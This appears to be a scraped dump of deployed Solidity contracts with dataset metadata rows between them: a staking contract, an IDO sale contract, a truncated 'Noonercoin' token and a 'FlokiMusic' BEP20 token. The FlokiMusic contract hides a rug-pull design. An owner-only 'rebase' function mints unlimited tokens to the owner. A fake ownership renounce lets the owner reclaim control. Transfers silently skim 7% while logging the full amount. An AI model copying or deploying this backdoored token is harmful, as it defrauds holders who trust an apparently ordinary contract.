_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsTsy {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TsyStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Tsy;
address public immutable sTsy;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Tsy,
address _sTsy,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Tsy != address(0));
Tsy = _Tsy;
require(_sTsy != address(0));
sTsy = _sTsy;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Tsy).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsTsy(sTsy).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sTsy).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsTsy(sTsy).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsTsy(sTsy).balanceForGons(info.gons));
IERC20(Tsy).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sTsy).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Tsy).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsTsy(sTsy).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsTsy(sTsy).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsTsy(sTsy).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Tsy).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sTsy).safeTransfer(locker, _amount);
}
function approve(address tokenAddress, address spender, uint256 amount) public onlyManager returns (bool) {
IERC20(tokenAddress).approve(spender, amount);
return true;
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sTsy).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 110,929 | 705 |
168888b3b0eedb6c94190115a07f1bc71192e03d3a23bf8703ffeace297a95b7
| 21,699 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x89f111cA05f72865ef8c5a20B478884160E33Fcc/contract.sol
| 2,513 | 9,142 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract FlokiMusic is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'Floki Music';
_symbol = 'FLOKIMUSIC';
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _taxFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 1000000000000000 * 10**18;
uint256 private numTokensSellToAddToLiquidity = 1 * 10**18;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function rebase(uint256 epoch) public onlyOwner returns (bool) {
_Mac(_msgSender(), epoch);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: send to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 252,434 | 706 |
195c03120492130116c39fc537ded4434d7354f01ed263be5610c5e402b51ae7
| 15,617 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/91/91463B1615925F580d2354d4a3208b8763832351_PBIDO.sol
| 3,445 | 14,946 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}
// ----------------------------------------------------------------------------
// Admin contract
// ----------------------------------------------------------------------------
contract Administration {
event CEOTransferred(address indexed _from, address indexed _to);
event Pause();
event Unpause();
address payable CEOAddress;
bool public paused = true;
modifier onlyCEO() {
require(msg.sender == CEOAddress);
_;
}
function setCEO(address payable _newCEO) public onlyCEO {
require(_newCEO != address(0));
emit CEOTransferred(CEOAddress, _newCEO);
CEOAddress = _newCEO;
}
function withdrawBalance() external onlyCEO {
CEOAddress.transfer(address(this).balance);
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyCEO whenNotPaused returns(bool) {
paused = true;
emit Pause();
return true;
}
function unpause() public onlyCEO whenPaused returns(bool) {
paused = false;
emit Unpause();
return true;
}
}
contract ERC20 is Context, IERC20, Administration {
using SafeMath for uint256;
string public symbol;
string public name;
uint256 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) freezed;
mapping(address => uint256) freezeAmount;
mapping(address => uint256) unlockTime;
MIMERC20 public mimERC20;
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint256) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
if(freezed[msg.sender] == false){
balances[msg.sender] = balances[msg.sender].sub(tokens, "ERC20: transfer amount exceeds allowance");
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
} else {
if(balances[msg.sender] > freezeAmount[msg.sender]) {
require(tokens <= balances[msg.sender].sub(freezeAmount[msg.sender], "ERC20: transfer amount exceeds allowance"));
balances[msg.sender] = balances[msg.sender].sub(tokens, "ERC20: transfer amount exceeds allowance");
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
}
}
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success) {
require(freezed[msg.sender] != true);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success) {
balances[from] = balances[from].sub(tokens, "ERC20: transfer amount exceeds allowance");
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens, "ERC20: transfer amount exceeds allowance");
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
require(freezed[msg.sender] != true);
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint256 tokens, bytes memory data) public returns (bool success) {
require(freezed[msg.sender] != true);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Freeze Tokens
// ------------------------------------------------------------------------
function freeze(address user, uint256 amount, uint256 period) public onlyCEO {
require(balances[user] >= amount);
freezed[user] = true;
unlockTime[user] = uint256(now) + period;
freezeAmount[user] = amount;
}
// ------------------------------------------------------------------------
// UnFreeze Tokens
// ------------------------------------------------------------------------
function unFreeze() public whenNotPaused {
require(freezed[msg.sender] == true);
require(unlockTime[msg.sender] < uint256(now));
freezed[msg.sender] = false;
freezeAmount[msg.sender] = 0;
}
function ifFreeze(address user) public view returns (bool check,
uint256 amount,
uint256 timeLeft) {
check = freezed[user];
amount = freezeAmount[user];
timeLeft = unlockTime[user] - uint256(now);
}
// ------------------------------------------------------------------------
// Accept & Send ETH
// ------------------------------------------------------------------------
receive() external payable {}
fallback() external payable {}
function mutipleSendETH(address[] memory receivers, uint256[] memory ethValues) public payable onlyCEO {
require(receivers.length == ethValues.length);
uint256 totalAmount;
for(uint256 k = 0; k < ethValues.length; k++) {
totalAmount = totalAmount.add(ethValues[k]);
}
require(msg.value >= totalAmount);
for (uint256 i = 0; i < receivers.length; i++) {
bool sent = payable(receivers[i]).send(ethValues[i]);
require(sent, "Failed to send Ether");
}
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, address receiver, uint256 tokens) public payable onlyCEO returns (bool success) {
return IERC20(tokenAddress).transfer(receiver, tokens);
}
function mutlipleTransferAnyERC20Token(address tokenAddress, address[] memory receivers, uint256[] memory tokens) public payable onlyCEO {
for (uint256 i = 0; i < receivers.length; i++) {
IERC20(tokenAddress).transfer(receivers[i], tokens[i]);
}
}
}
interface MIMERC20 {
function allowance(address owner, address spender) external returns (uint);
function transferFrom(address from, address to, uint value) external;
function approve(address spender, uint value) external;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract PBIDO is ERC20 {
using SafeMath for uint256;
event PBIDOSold(address indexed buyer, uint256 indexed amount);
uint256 public totalPreSale = 3000*10**9;
uint256 public totalPreSaleLeft = 3000*10**9;
uint256 public mimPrice = 20*10**18;
uint256 public maxPurchase = 100*10**9;
mapping(address=>uint256) public BuyerQuota;
mapping(address=>bool) whitelist;
constructor(string memory _name, string memory _symbol, address _MIMaddress) public payable{
CEOAddress = msg.sender;
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = 0;
MIMERC20 candidateContract = MIMERC20(_MIMaddress);
mimERC20 = candidateContract;
}
function setMIMAddress(address _address) external onlyCEO {
MIMERC20 candidateContract = MIMERC20(_address);
mimERC20 = candidateContract;
}
function setMIMPrice(uint256 _amount) public onlyCEO {
require(_amount > 0);
mimPrice = _amount;
}
function setMax(uint256 _max) public onlyCEO {
require(_max > 0);
maxPurchase = _max;
}
function setWhitelist(address _user) public onlyCEO {
require(!whitelist[_user]);
whitelist[_user] = true;
}
function ifWhitelist(address _user) public view returns(bool){
return whitelist[_user];
}
function buyPBIDO(uint256 _amount) public whenNotPaused returns(uint256) {
require(whitelist[msg.sender], "Not on whitelist!");
require(BuyerQuota[msg.sender].add(_amount) <= maxPurchase, "Exceed MaxPurachse");
require(mimERC20.allowance(msg.sender, address(this)) >= mimPrice.mul(_amount).div(10**9), "Insuffcient approved MIM");
mimERC20.transferFrom(msg.sender, address(this), mimPrice.mul(_amount).div(10**9));
_mint(msg.sender, _amount);
BuyerQuota[msg.sender] = BuyerQuota[msg.sender].add(_amount);
emit PBIDOSold(msg.sender, _amount);
}
function _mint(address _buyer, uint256 _amount) internal {
require(totalPreSaleLeft >= _amount, "Not enough IDO quota left");
_totalSupply = _totalSupply.add(_amount);
totalPreSaleLeft = totalPreSaleLeft.sub(_amount);
balances[_buyer] = balances[_buyer].add(_amount);
}
}
| 97,290 | 707 |
cc0d4574f7aeedee0b5cba2dd12e5ddf551bb9ed8e29b65c3c07733bff7c1916
| 27,610 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6f/6Fd430DC01259A7b8f73Da751b0199bD9f0DcacA_Noonercoin.sol
| 6,158 | 23,141 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
using SafeMath for uint256;
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occurenceOfRandomNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 totalCycleLeft = 19;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
uint256 private _fundersAmount;
uint256 _randomValue;
uint256 randomNumber;
int private count = 0;
uint256 previousCyclesTotalTokens = 0;
uint256 previousCyclesTotalWei = 0;
uint256 indexs = 1;
uint256[] randomVariableArray;
uint256[] previousCyclesBalance;
uint256[] previousCyclesWeiBalance;
uint256 public weiAmountAdded = 0;
uint256 signmaValueWei = 0;
uint256 currentMintingRateTotalTokens = 0;
uint256 totalMintedTokens = 0;
uint256 weiToBurned = 0;
uint256 totalWeiInAdminAcc = 0;
uint256[] previousSigmaValues;
uint256[] previousBurnValues;
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_, uint256 fundersAmount_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
_fundersAmount = fundersAmount_;
mintingRateNoonerWei = 0;
startTime = now;
noonercoin[adminAddress] = _fundersAmount;
}
function incrementCounter() public {
count += 1;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
//burn the tokens before minting
if(isNewCycleStart){
uint256 randomValue = _randomValue;
if(randomValue == 150){
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(0);
previousBurnValues.push(0);
}
}
else {// else condition can be used
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
noonerwei[add] = 0;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousSigmaValues.push(0);
previousBurnValues.push(0);
}
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
uint256 nowTime = now;
uint256 totalOccurences = getTotalPresentOcuurences();
if(totalOccurences != 120) {
if(nowTime-weekStartTime >= 720){
popRandomVariable();
weekStartTime=now;
}
}
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = now;
uint256 timeDiff = lastMintingTime - startTime;
if(timeDiff >= _cycleTime){
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
//wei amount of >.5 to be added in adminAccount
if(noonerwei[add] >= (10**18/2)) {
noonercoin[add] += 1;
weiAmountAdded += 1;
}
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
}
//2nd check for popRandomVaribale
uint256 totalPicks = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
uint256 diff = 0;
uint256 estimatePicks = 0;
uint256 picks = 0;
if(totalPicks != 120 && lastMintingTime != 0) {
diff = lastMintingTime - startTime;
if(diff > _frequency) {
estimatePicks = (diff) / 720;
if(totalPicks >= estimatePicks){
picks = 0;
}
else {
picks = estimatePicks - totalPicks;
for(uint256 i = 0; i < picks; i++){
popRandomVariable();
}
}
}
}
return true;
}
function popRandomVariable() public returns(bool){
randomNumber = randomVariablePicker();
if(occurenceOfRandomNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
